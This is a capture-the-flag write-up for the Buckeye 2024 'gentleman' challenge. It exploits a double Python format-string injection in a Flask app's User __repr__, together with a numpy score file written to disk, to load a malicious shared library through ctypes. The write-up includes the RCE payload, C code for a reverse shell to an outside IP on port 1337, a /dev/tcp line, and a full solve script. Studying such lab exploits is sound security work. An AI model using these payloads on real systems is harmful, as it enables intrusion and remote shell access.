Introduction
Buckeye 2024 was kinda fun CTF (except for web, I had struggled a little bit). But in the end .;,;. full cleared and secured first place! Gentleman was a interesting challenge, so here is the writeup.
TLDR: there is a format string vulnerability inside a class, and it has arbitrary file upload. Here is the payload to achieve RCE:
{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/home/app/app/scores/myid.score]}
gentleman
Time to do the impossible.
Hint: check Corgo’s messages in the #misc
channel on Discord.
gentleman.challs.pwnoh.io
The challenge provides a link: gentleman.challs.pwnoh.io, and the source code of the website.
Open the website, it’s a normal TypeMonkey website with login and signup functionality:
Inside the source code, it provides a docker with python:3.12-slim-bookworm
:
From: "Janette Erickson" <[email protected]>To: "'Stanley Stern'" <[email protected]>Subject: Regarding our project's securityDate: Mon, 2 Sep 2024 09:53:00 -0800MIME-Version: 1.0Content-Type: multipart/alternative; boundary="----=_NextPart_000_006E_01C738AC.D7216990"
This is a multi-part message in MIME format.
------=_NextPart_000_006E_01C738AC.D7216990Content-Type: text/plain; charset="us-ascii"Content-Transfer-Encoding: 7bit
The pentester we hired has gotten back to us.They identified one vulnerability in their report, but notedthat it would currently be impossible for an attacker to exploit.
Given that we're already 3 days over our deadline, I saythat we just release this as-is and worry about fixing thevulnerability at a later point in time.
Janette
------=_NextPart_000_006E_01C738AC.D7216990--
The email is interesting, but it’s super unclear what is the email referencing to. I have also tried to search this up, but everything on this email is not real. ¯\*(ツ)*/¯
There is a readflag
, and the flag.txt is chown root:root /readflag && chmod 4755 /readflag
, so clearly, there is something inside the challenge can lead to remote code execution in order to get the flag.
The TypeMonkey uses Flask as the main server and and SQLAlchemy as the user database. Flask session is encrypted using SECRET_KEY = token_urlsafe()[:32]
, so it’s pretty safe.
Reading through the source, the models.py
looks little bit suspicious:
Format string
Inside the User Model, there is this extra __repr__
function. When we try to print out a Python object, it will try to call this object’s __repr__
function. Every object inherit this __repr__
, but you can choose to overwrite it.
Overwriting a __repr__
function is not that harmful at all. But at this point, we have control of the username, and it uses format string twice. That creates a problem:
'<User {u.username} (id {{[i.id](http://i.id/)}})>'.format(u=self).format(i=self)
There are two format()
s here, where the first format will find the {}
and pass in the content. At here, the first format formats the username. We can craft a bad username that lead to access other objects:
'<User {i.username} (id {[i.id](http://i.id/)})>'.format(i=self)
However, Python format strings have a restriction in that it can’t call functions within the format string (more info here: HackTricks).
Moving on:
The __repr__
function is being called at here, str(user)
. I just added a print()
statement inside the User
class to find it’s being called here.
No function call? Access denied?
Now we know the goal is to get RCE, and the only vulnerability we have right now is this format string. The format string passes in a User
object. What can we do with it? Usually, we can steal secrets with it! For example:
{i.find.__globals__[so].mapperlib.sys.modules[__main__].something}
We can steal something from the main code, however, the issue is that the server wouldn’t return anything:
@app.route('/api/score/<int:id>',methods=['GET'])def get_user(id): user = m.load_user(id) if "User" not in str(user): return jsonify({"error":"User does not exist."}) return jsonify({'best':user.score})
Due to this limitation, we need to find a way to achieve RCE. As demonstrated in the previous example, we might be able to invoke functions using []
! By default, []
triggers the __getitem__
method within the Python object. Additionally, when accessing an object’s attribute, it calls a method like object.something
, which invokes object.__getattr__(self, something)
. In fact, every Python operation is essentially a function call!
If there is something we can call, even if we can’t control the code or what we can call, we might still achieve RCE by finding a vulnerability deep within __getitem__
or __getattr__
:
This documentation is available here.
Finding the needle in the haystack
Although inside the format string we don’t have many built-ins and we only passed in a class, we can still access other objects inside Python. We will discuss later how we can get it, but assume we have all the objects accessible, what do we have right now?
dict_keys(['sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', 'winreg', '_io', 'marshal', 'nt', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', 'encodings.cp1252', '_signal', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', '_winapi', 'ntpath', 'os.path', 'os', '_sitebuiltins', 'site', 'warnings', 'types', '_operator', 'operator', 'itertools', 'keyword', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'enum', 'numpy._utils._convertions', 'numpy._utils', 'numpy._globals', 'numpy._expired_attrs_2_0', 'numpy.version', 'numpy._distributor_init', 'numpy._utils._inspect', '_datetime', 'datetime', 'math', 'numpy.exceptions', 'numpy._core._exceptions', '_contextvars', 'contextvars', 'numpy._core.printoptions', 'numpy.dtypes', 'numpy._core._multiarray_umath', 'numpy._core.overrides', 'numpy._core.multiarray', 'numpy._core.umath', 'numbers', 'numpy._core._string_helpers', 'numpy._core._type_aliases', 'numpy._core._dtype', 'numpy._core.numerictypes', 'copyreg', '_struct', 'struct', '_sre', 're._constants', 're._parser', 're._casefix', 're._compiler', 're', '_compat_pickle', '_pickle', 'pickle', 'contextlib', 'collections.abc', 'numpy._core._ufunc_config', 'numpy._core._methods', 'numpy._core.fromnumeric', 'numpy._core.shape_base', 'numpy._core.arrayprint', 'numpy._core._asarray', 'numpy._core.numeric', 'numpy._core.records', 'numpy._core.memmap', 'numpy._core.function_base', 'numpy._core._machar', 'numpy._core.getlimits', 'numpy._core.einsumfunc', 'numpy._core._add_newdocs', 'numpy._core._add_newdocs_scalars', 'numpy._core._dtype_ctypes', '_ast', 'ast', '_ctypes', 'ctypes._endian', 'ctypes', 'numpy._core._internal', 'numpy._pytesttester', 'numpy._core', 'numpy.__config__', 'numpy.lib._array_utils_impl', 'numpy.lib.array_utils', 'numpy.lib.introspect', 'numpy.lib.mixins', '_weakrefset', 'weakref', 'textwrap', '_wmi', 'platform', 'numpy.lib._utils_impl', 'numpy.lib.format', 'numpy.lib._datasource', 'numpy.lib._iotools', 'numpy.lib._npyio_impl', 'numpy.lib.npyio', 'numpy.lib._ufunclike_impl', 'numpy.lib._type_check_impl', 'numpy.lib._scimath_impl', 'numpy.lib.scimath', 'numpy.lib._stride_tricks_impl', 'numpy.lib.stride_tricks', 'numpy.linalg.linalg', '_typing', 'typing.io', 'typing.re', 'typing', 'numpy.lib._twodim_base_impl', 'numpy.linalg._umath_linalg', '__future__', 'numpy._typing._nested_sequence', 'numpy._typing._nbit', 'numpy._typing._char_codes', 'numpy._typing._scalars', 'numpy._typing._shape', 'numpy._typing._dtype_like', 'numpy._typing._array_like', 'numpy._typing', 'numpy.linalg._linalg', 'numpy.linalg', 'numpy.matrixlib.defmatrix', 'numpy.matrixlib', 'numpy.lib._histograms_impl', 'numpy.lib._function_base_impl', 'numpy.lib._index_tricks_impl', 'numpy.lib._nanfunctions_impl', 'numpy.lib._shape_base_impl', 'numpy.lib._arraysetops_impl', 'numpy.lib._polynomial_impl', 'numpy.lib._arrayterator_impl', 'numpy.lib._arraypad_impl', 'numpy.lib._version', 'numpy.lib', 'numpy._array_api_info', 'numpy', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'errno', 'select', 'selectors', '_socket', 'socket', 'threading', 'socketserver', 'http', 'copy', 'email', '_bisect', 'bisect', '_random', '_sha2', 'random', 'urllib', 'ipaddress', 'urllib.parse', '_locale', 'locale', 'calendar', 'email._parseaddr', 'binascii', 'base64', 'email.base64mime', '_string', 'string', 'email.quoprimime', 'email.errors', 'quopri', 'email.encoders', 'email.charset', 'email.utils', 'html.entities', 'html', 'email.header', 'email._policybase', 'email.feedparser', 'email.parser', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'posixpath', 'mimetypes', 'fnmatch', 'zlib', '_compression', '_bz2', 'bz2', '_lzma', 'lzma', 'shutil', 'http.server', 'token', '_tokenize', 'tokenize', 'linecache', 'traceback', 'atexit', 'logging', 'werkzeug._internal', 'markupsafe._speedups', 'markupsafe', 'werkzeug.exceptions', 'werkzeug.datastructures.mixins', '_hashlib', '_blake2', 'hashlib', 'tempfile', 'urllib.response', 'urllib.error', 'nturl2path', 'urllib.request', 'werkzeug.sansio', 'werkzeug.sansio.http', 'werkzeug.http', 'werkzeug.datastructures.structures', 'werkzeug.datastructures.accept', 'werkzeug.datastructures.auth', 'werkzeug.datastructures.cache_control', 'werkzeug.datastructures.csp', 'werkzeug.datastructures.etag', 'werkzeug.datastructures.file_storage', 'werkzeug.datastructures.headers', 'werkzeug.datastructures.range', 'werkzeug.datastructures', 'werkzeug.urls', 'colorama.ansi', 'msvcrt', 'ctypes.wintypes', 'colorama.win32', 'colorama.winterm', 'colorama.ansitowin32', 'colorama.initialise', 'colorama', 'werkzeug.serving', '_opcode', 'opcode', 'dis', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'importlib.machinery', 'inspect', 'dataclasses', 'werkzeug.sansio.multipart', 'importlib._abc', 'importlib.util', 'pkgutil', 'unicodedata', 'hmac', 'secrets', 'werkzeug.security', 'werkzeug.sansio.utils', 'werkzeug.wsgi', 'werkzeug.utils', 'werkzeug.formparser', 'werkzeug.user_agent', 'werkzeug.sansio.request', 'werkzeug.wrappers.request', 'werkzeug.sansio.response', 'werkzeug.wrappers.response', 'werkzeug.wrappers', 'werkzeug.test', 'werkzeug', 'werkzeug.local', 'flask.globals', '_decimal', 'decimal', '_uuid', 'uuid', 'flask.json.provider', 'flask.json', 'gettext', 'click._winconsole', 'click._compat', 'click.globals', 'click.utils', 'click.exceptions', 'click.types', 'click.parser', 'click.formatting', 'click.termui', 'click.core', 'click.decorators', 'click', 'werkzeug.routing.converters', '_heapq', 'heapq', 'difflib', 'werkzeug.routing.exceptions', 'pprint', 'werkzeug.routing.rules', 'werkzeug.routing.matcher', 'werkzeug.routing.map', 'werkzeug.routing', '_csv', 'csv', 'pathlib', 'zipfile._path.glob', 'zipfile._path', 'zipfile', 'importlib.metadata._functools', 'importlib.metadata._text', 'importlib.metadata._adapters', 'importlib.metadata._meta', 'importlib.metadata._collections', 'importlib.metadata._itertools', 'importlib.resources.abc', 'importlib.resources._adapters', 'importlib.resources._common', 'importlib.resources._legacy', 'importlib.resources', 'importlib.abc', 'importlib.metadata', 'blinker._utilities', 'blinker.base', 'blinker', 'flask.signals', 'flask.helpers', 'flask.cli', 'flask.typing', 'flask.ctx', 'flask.sansio', 'flask.config', 'flask.logging', 'jinja2.bccache', 'jinja2.utils', 'jinja2.nodes', 'jinja2.exceptions', 'jinja2.visitor', 'jinja2.idtracking', 'jinja2.optimizer', 'jinja2.compiler', 'jinja2.async_utils', 'jinja2.runtime', 'jinja2.filters', 'jinja2.tests', 'jinja2.defaults', 'jinja2._identifier', 'jinja2.lexer', 'jinja2.parser', 'jinja2.environment', 'jinja2.loaders', 'jinja2', 'flask.templating', 'flask.sansio.scaffold', 'flask.sansio.app', 'itsdangerous.exc', 'itsdangerous.encoding', 'itsdangerous.signer', 'itsdangerous.serializer', 'itsdangerous.timed', 'itsdangerous._json', 'itsdangerous.url_safe', 'itsdangerous', 'flask.json.tag', 'flask.sessions', 'flask.wrappers', 'flask.app', 'flask.sansio.blueprints', 'flask.blueprints', 'flask', 'wtforms.validators', 'wtforms.widgets.core', 'wtforms.widgets', 'wtforms.i18n', 'wtforms.utils', 'wtforms.fields.core', 'wtforms.fields.choices', 'wtforms.fields.datetime', 'wtforms.fields.form', 'wtforms.fields.list', 'wtforms.fields.numeric', 'wtforms.fields.simple', 'wtforms.fields', 'wtforms.meta', 'wtforms.form', 'wtforms', 'wtforms.csrf', 'wtforms.csrf.core', 'flask_wtf.csrf', 'flask_wtf.form', 'flask_wtf.recaptcha.widgets', 'flask_wtf.recaptcha.validators', 'flask_wtf.recaptcha.fields', 'flask_wtf.recaptcha', 'flask_wtf', 'flask_login.__about__', 'flask_login.config', 'flask_login.mixins', 'flask_login.signals', 'flask_login.utils', 'flask_login.login_manager', 'shlex', 'click.testing', 'flask.testing', 'flask_login.test_client', 'flask_login', 'bcrypt._bcrypt', 'bcrypt', 'flask_bcrypt', 'dominate._version', 'concurrent', 'concurrent.futures._base', 'concurrent.futures', 'signal', 'subprocess', 'asyncio.constants', 'asyncio.coroutines', 'asyncio.format_helpers', 'asyncio.base_futures', 'asyncio.exceptions', 'asyncio.base_tasks', '_asyncio', 'asyncio.events', 'asyncio.futures', 'asyncio.protocols', 'asyncio.transports', 'asyncio.log', 'asyncio.sslproto', 'asyncio.mixins', 'asyncio.locks', 'asyncio.timeouts', 'asyncio.tasks', 'asyncio.staggered', 'asyncio.trsock', 'asyncio.base_events', 'asyncio.runners', 'asyncio.queues', 'asyncio.streams', 'asyncio.subprocess', 'asyncio.taskgroups', 'asyncio.threads', '_overlapped', 'asyncio.base_subprocess', 'asyncio.proactor_events', 'asyncio.selector_events', 'asyncio.windows_utils', 'asyncio.windows_events', 'asyncio', 'greenlet._greenlet', 'greenlet', 'dominate.util', 'dominate.dom_tag', 'dominate.dom1core', 'dominate.tags', 'dominate.document', 'dominate', 'visitor', 'flask_bootstrap.forms', 'flask_bootstrap', 'sqlalchemy.util.preloaded', 'sqlalchemy.cyextension', 'cython_runtime', '_cython_3_0_11', 'sqlalchemy.cyextension.collections', 'sqlalchemy.cyextension.immutabledict', 'sqlalchemy.cyextension.processors', 'sqlalchemy.cyextension.resultproxy', 'sqlalchemy.util.compat', 'sqlalchemy.exc', 'sqlalchemy.cyextension.util', 'sqlalchemy.util._has_cy', 'typing_extensions', 'sqlalchemy.util.typing', 'sqlalchemy.util._collections', 'sqlalchemy.util.langhelpers', 'sqlalchemy.util._concurrency_py3k', 'sqlalchemy.util.concurrency', 'sqlalchemy.util.deprecations', 'sqlalchemy.util', 'sqlalchemy.event.registry', 'sqlalchemy.event.legacy', 'sqlalchemy.event.attr', 'sqlalchemy.event.base', 'sqlalchemy.event.api', 'sqlalchemy.event', 'sqlalchemy.log', 'sqlalchemy.pool.base', 'sqlalchemy.pool.events', 'sqlalchemy.util.queue', 'sqlalchemy.pool.impl', 'sqlalchemy.pool', 'sqlalchemy.sql.roles', 'sqlalchemy.inspection', 'sqlalchemy.sql._typing', 'sqlalchemy.sql.visitors', 'sqlalchemy.sql.cache_key', 'sqlalchemy.sql.operators', 'sqlalchemy.sql.traversals', 'sqlalchemy.sql.base', 'sqlalchemy.sql.coercions', 'sqlalchemy.sql.annotation', 'sqlalchemy.sql.type_api', 'sqlalchemy.sql.elements', 'sqlalchemy.util.topological', 'sqlalchemy.sql.ddl', 'sqlalchemy.engine._py_processors', 'sqlalchemy.engine.processors', 'sqlalchemy.sql.sqltypes', 'sqlalchemy.sql.selectable', 'sqlalchemy.sql.schema', 'sqlalchemy.sql.util', 'sqlalchemy.sql.dml', 'sqlalchemy.sql.crud', 'sqlalchemy.sql.functions', 'sqlalchemy.sql.compiler', 'sqlalchemy.sql._dml_constructors', 'sqlalchemy.sql._elements_constructors', 'sqlalchemy.sql._selectable_constructors', 'sqlalchemy.sql.lambdas', 'sqlalchemy.sql.expression', 'sqlalchemy.sql.default_comparator', 'sqlalchemy.sql.events', 'sqlalchemy.sql.naming', 'sqlalchemy.sql', 'sqlalchemy.engine.interfaces', 'sqlalchemy.engine.util', 'sqlalchemy.engine.base', 'sqlalchemy.engine.events', 'sqlalchemy.dialects', 'sqlalchemy.engine.url', 'sqlalchemy.engine.mock', 'sqlalchemy.engine.create', 'sqlalchemy.engine.row', 'sqlalchemy.engine.result', 'sqlalchemy.engine.cursor', 'sqlalchemy.engine.reflection', 'sqlalchemy.engine', 'sqlalchemy.schema', 'sqlalchemy.types', 'sqlalchemy.engine.characteristics', 'sqlalchemy.engine.default', 'sqlalchemy', 'sqlalchemy.sql._orm_types', 'sqlalchemy.orm._typing', 'sqlalchemy.orm.base', 'sqlalchemy.orm.mapped_collection', 'sqlalchemy.orm.collections', 'sqlalchemy.orm.path_registry', 'sqlalchemy.orm.interfaces', 'sqlalchemy.orm.attributes', 'sqlalchemy.orm.util', 'sqlalchemy.orm.exc', 'sqlalchemy.orm.state', 'sqlalchemy.orm.instrumentation', 'sqlalchemy.future.engine', 'sqlalchemy.future', 'sqlalchemy.orm.context', 'sqlalchemy.orm.loading', 'sqlalchemy.orm.strategy_options', 'sqlalchemy.orm.descriptor_props', 'sqlalchemy.orm.relationships', 'sqlalchemy.orm.properties', 'sqlalchemy.orm.mapper', 'sqlalchemy.orm.query', 'sqlalchemy.orm.evaluator', 'sqlalchemy.orm.sync', 'sqlalchemy.orm.persistence', 'sqlalchemy.orm.bulk_persistence', 'sqlalchemy.orm.identity', 'sqlalchemy.orm.state_changes', 'sqlalchemy.orm.unitofwork', 'sqlalchemy.orm.session', 'sqlalchemy.orm._orm_constructors', 'sqlalchemy.orm.clsregistry', 'sqlalchemy.orm.decl_base', 'sqlalchemy.orm.decl_api', 'sqlalchemy.orm.strategies', 'sqlalchemy.orm.writeonly', 'sqlalchemy.orm.dynamic', 'sqlalchemy.orm.scoping', 'sqlalchemy.orm.events', 'sqlalchemy.orm.dependency', 'sqlalchemy.orm'])
Interesting packages are imported in here, such as numpy
, json
, werkzeug
, jinja2
, flask
, sqlalchemy
, etc.:
Even without considering the imported classes, within the Python standard library, there are more than two hundred specially defined __getitem__
methods. It’s overwhelming! How can we identify some dangerous __getitem__
or __getattr__
methods?
So we did a more systematic search to find all the functions that have __getitem__
and __getattr__
defined:
import sysimport inspect
def find_custom_methods_with_source(): custom_classes = {}
# Get all classes in the module for module in sys.modules.copy().values(): try: for name, obj in inspect.getmembers(module, inspect.isclass): fqn = f'{obj.__module__}.{name}' methods = {}
# Check for custom implementations of the desired methods for method in ['__get__', '__getattr__', '__getattribute__', '__getitem__']: if method in obj.__dict__: method_obj = getattr(obj, method) try: source_code = inspect.getsource(method_obj) methods[method] = source_code except (TypeError, OSError): methods[method] = "Source code not available" # delete the method from the methods dict del methods[method]
# If the class has any custom methods, add it to the result if methods: custom_classes[fqn] = methods
except Exception as e: # Skip modules that raise an exception during inspection (e.g., built-in modules without source code) continue
return custom_classes
import pprint# pprint.pprint(find_custom_methods_with_source())# write to a filewith open('custom_methods.txt', 'w') as f: for k, v in find_custom_methods_with_source().items(): f.write(f'{k}\n') # use pretty print to format the dictionary f.write(pprint.pformat(v)) f.write('\n\n')
Too much functions QuQ….
We examined each one individually, trying to find useful ones:
-
tempfile._TemporaryFileWrapper
looks suspicious, but it’s not useful. -
sqlalchemy.orm.util.AliasedClass
is not useful either: -
weakref.WeakValueDictionary
is not useful either: -
EntryPoints
fromimportlib.metadata
is not useful either:
All of them have potential, yet none of them are helpful.
Time to Do the Impossible!
My teammate Quasar knew this before we did all of this analysis:
But we all ignored this and was so hyperfocused on the author’s hint about the Python standard library:
After a while trying to find the needle, we turn back to the idea of ctypes
:
ctype.cdll
has a specialized __getitem__
function, which means every time when we do ctype.cdll['libc.so.6']
it will auto load the libc.so.6
, which is amazing! However we were struggling, and didn’t know what to load. We tried to load /readflag
, however, it’s compile limited it to being loaded:
/usr/lib/aarch64-linux-gnu/libpthread.so.0/usr/local/lib/python3.12/lib-dynload/_struct.cpython-312-aarch64-linux-gnu.so/usr/lib/aarch64-linux-gnu/libffi.so.8.1.2/usr/local/lib/python3.12/lib-dynload/_ctypes.cpython-312-aarch64-linux-gnu.so/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-aarch64-linux-gnu.so/usr/lib/aarch64-linux-gnu/libtinfo.so.6.4/usr/lib/aarch64-linux-gnu/libreadline.so.8.2/usr/local/lib/python3.12/lib-dynload/readline.cpython-312-aarch64-linux-gnu.so/usr/lib/aarch64-linux-gnu/libc.so.6/usr/local/lib/libpython3.12.so.1.0/usr/lib/aarch64-linux-gnu/libm.so.6/usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
We also tried to load the cpython
module, but there was nothing really helpful in there, so we went through the source code again to find this:
It will save the score (no limit of how many score here), which is a numpy
list, to a file! And according to the numpy
documentation, it doesn’t have a header!:
This means we have arbitrary file upload; we just never found it before and didn’t know it might have been helpful. But now everything has changed. We just need a library. Why don’t we just upload a library with bad code?
Payload time!
When we got to this point, there were only 50 minutes left in the CTF. It was super stressful and fun. We decided to just set up a reverse shell:
#include <stdlib.h>
__attribute__((constructor))void init() { // system("echo hi"); //for some wired reason this don't work: // system("/bin/bash -c '/readflag 2>&1 /dev/tcp/24.144.93.224/1337'"); system("python3 -c \"import os; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('24.144.93.224', 1337)); fd = s.fileno(); os.dup2(fd, 0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\"");}
Compile this to libtest.so
, and convert it to a Python float. However, the server will only save the score if it is bigger than the previous one, which means if the float has null, it won’t work.
import numpy as npimport structimport jsonimport mathfrom pwn import u64, p64import sys
data = bytearray(open("libtest.so", "rb").read())# trying to fix the infinity issue here, make sure no nahdata[0x1100:0x110d] = [0x90] * 0xc + [0x50]doubles = []for i in range(0, len(data), 8): n = u64(data[i:i+8]) double = struct.unpack("<d", data[i:i+8])[0] if math.isnan(double): print(f"offset = {i:#x}, bytes = {u64(data[i:i+8]):#x}", file=sys.stderr) double = 0.0 # exit(1) doubles.append(str(double))# to make sure that it's always largerdoubles.append(float("+inf"))
print(json.dumps({ "counts": doubles,}))# print(np.average(doubles))np.asarray(list(map(float, doubles))).tofile("test.score")# print(np.average(doubles), file=sys.stderr)# import ctypes# ctypes.cdll["./test.score"]
Now we have a score that will result in the file that we want; we just need to figure out how to recover ctype
:
{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll}
Where the __init__
recovers a function, access __globals__
from the function, get the __builtins__
, use __loader__
to load system
, use ctypes
inside the system
module, and load cdll
.
Final solve script:
import requestsimport randomimport json
url = 'http://127.0.0.1:1234'
process = requests.Session()
def get_id(): data = { 'username': random.randint(0, 10000), 'password': random.randint(0, 10000), 'submit': 'Submit' } response = process.post(url + '/signup', data=data) response = process.post(url + '/login', data=data) cur_id = process.cookies.get('remember_token').split('|')[0] print(cur_id) return str(int(cur_id) + 1)
def get_bad_user(cur_id): username = "{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/home/app/app/scores/"+(cur_id)+".score]}" data = { 'username': username, 'password': random.randint(0, 10000), 'submit': 'Submit' } response = process.post(url + '/signup', data=data) response = process.post(url + '/login', data=data) return 1
user_id = get_id()get_bad_user(user_id)
counts = json.load(open('dup2.json'))counts["counts"] = [str(x) for x in counts["counts"]]
response = process.post(url + '/api/score/submit', json=counts)print(response.text)
respons = process.get(url + '/api/score/' + user_id)print(respons.text)
Flaggg!